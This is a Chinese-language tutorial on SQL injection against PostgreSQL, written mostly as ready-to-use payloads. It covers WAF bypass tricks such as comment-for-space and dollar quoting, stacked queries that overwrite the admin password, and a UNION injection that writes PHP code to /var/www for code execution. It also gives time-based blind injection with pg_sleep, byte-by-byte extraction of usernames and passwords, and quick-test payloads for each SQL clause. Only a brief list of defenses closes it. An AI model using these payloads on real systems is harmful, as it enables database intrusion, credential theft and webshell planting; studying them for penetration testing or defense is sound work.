SQL注入渗透PostgreSQL(bypass tricks)
字数 1189 2025-08-18 11:37:12
PostgreSQL SQL注入渗透与绕过技巧详解
1. PostgreSQL简介与SQL注入基础
PostgreSQL是一个开源的关系型数据库管理系统,强调可扩展性和技术标准合规性。它能够处理从单机到数据仓库或具有许多并发用户的Web服务的各种工作负载。
1.1 SQL注入基本原理
SQL注入是一种攻击技术,攻击者通过在应用程序的输入字段中插入恶意SQL代码,从而操纵后端数据库查询。在PostgreSQL中,SQL注入漏洞的利用方式与其他数据库系统类似,但有一些特定的语法和函数可以利用。
2. 绕过WAF的技巧
2.1 空格绕过
当空格被WAF过滤时,可以使用注释代替:
SELECT/**/1;
2.2 分号与注释
使用分号和注释来忽略尾随数据:
SELECT 'admin' OR 1 = 1; -- -' FROM users;
实际执行:
SELECT 'admin' OR 1 = 1;
2.3 引号绕过
使用美元符号
SELECT
$$
test
$$
; -- 等效于 SELECT 'test';
使用带标签的美元符号
SELECT $quote$test$quote$; -- 等效于 SELECT 'test';
使用CHR()函数拼接字符串
SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);
-- 等效于 SELECT 'ABCDEFGH';
3. 嵌套查询(堆叠查询)
当注入点支持嵌套查询时,可以终止原始查询并执行新查询:
SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -
4. 不同SQL子句的攻击方法
4.1 SELECT/UNION子句注入
基本UNION注入
SELECT '1' UNION SELECT 'a'; -- -'
通过PHP代码实现RCE
SELECT ''UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; -- -';
时间盲注
SELECT '' pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); -- -
字符串连接泄露数据
SELECT ''||password FROM users;
4.2 WHERE子句注入
基本注入
SELECT first_name FROM actor WHERE first_name = ''||(SELECT 'Penelope');
基于条件的二进制查询
SELECT first_name FROM actor WHERE first_name = '' || (
SELECT CASE WHEN (
SELECT COUNT((
SELECT username FROM staff WHERE username SIMILAR TO '[BRUTEFORCE BYTE BY BYTE]%'
))
) <> 0 THEN 'Penelope' ELSE '' END
);
4.3 FROM子句注入
时间盲注
SELECT address FROM (
SELECT * FROM address WHERE address=''||(pg_sleep(20))
) ss;
数据泄露
SELECT address FROM (
SELECT * FROM address WHERE address = '' || (
SELECT CASE WHEN (
SELECT COUNT((
SELECT username FROM staff WHERE username SIMILAR TO 'M%'
))
) <> 0 THEN pg_sleep(20) ELSE '' END
)
) ss; -- -;
4.4 ORDER BY子句注入
基于条件的注入
SELECT address FROM address ORDER BY (
SELECT CASE WHEN COUNT((
SELECT (
SELECT CASE WHEN COUNT((
SELECT username FROM staff WHERE username SIMILAR TO 'M%'
)) <> 0 THEN pg_sleep(20) ELSE '' END
)
)) <> 0 THEN true ELSE false END
); -- -
4.5 OFFSET子句注入
泄露字符串长度
SELECT address FROM address OFFSET 0|(
SELECT LENGTH((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))
);
逐字节暴力破解
SELECT address FROM address OFFSET 0+(
SELECT LENGTH((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))
);
4.6 HAVING子句注入
基于条件的注入
t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -
5. 快速测试漏洞的Payload
5.1 SELECT子句测试
整数参数
pg_sleep(20); -- -
字符串参数
'||pg_sleep(20); -- -
5.2 FROM子句测试
已知列需要整数
(SELECT * FROM [TABLE] WHERE [COLUMN] = 1|(
SELECT (
SELECT CASE WHEN COUNT((SELECT pg_sleep(20))) <> 0 THEN 1 ELSE 2 END
)
)) ss; -- -
已知列需要字符串
(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar || (
SELECT (
SELECT CASE WHEN COUNT((SELECT pg_sleep(20))) <> 0 THEN 1 ELSE 2 END
)
)) ss; -- -
5.3 WHERE子句测试
整数参数
1|(
SELECT (
SELECT CASE WHEN COUNT((SELECT pg_sleep(20))) <> 0 THEN 1 ELSE 2 END
)
); -- -
字符串参数
' || (pg_sleep(20)); -- -
5.4 ORDER BY子句测试
(SELECT CASE WHEN COUNT((SELECT pg_sleep(20))) <> 0 THEN true ELSE false END); -- -
5.5 HAVING子句测试
整数参数
(COUNT((SELECT pg_sleep(20))) = 1); -- -
字符串参数
t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -
5.6 OFFSET子句测试
整数参数
1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
字符串参数
1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -
6. 防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对用户输入进行严格的验证和过滤
- 使用Web应用防火墙(WAF)
- 定期更新PostgreSQL到最新版本
- 禁用不必要的PostgreSQL功能
- 实施适当的错误处理机制
7. 总结
PostgreSQL SQL注入技术与其他数据库系统有许多相似之处,但也有其特定的语法和函数可以利用。通过理解不同SQL子句的注入方法,攻击者可以绕过各种安全限制并获取敏感数据。防御者需要全面了解这些技术才能有效保护系统安全。
8. 参考文献
- PostgreSQL官方文档: https://www.postgresql.org/docs/9.5/sql-select.html
- PostgreSQL注入技术白皮书: https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf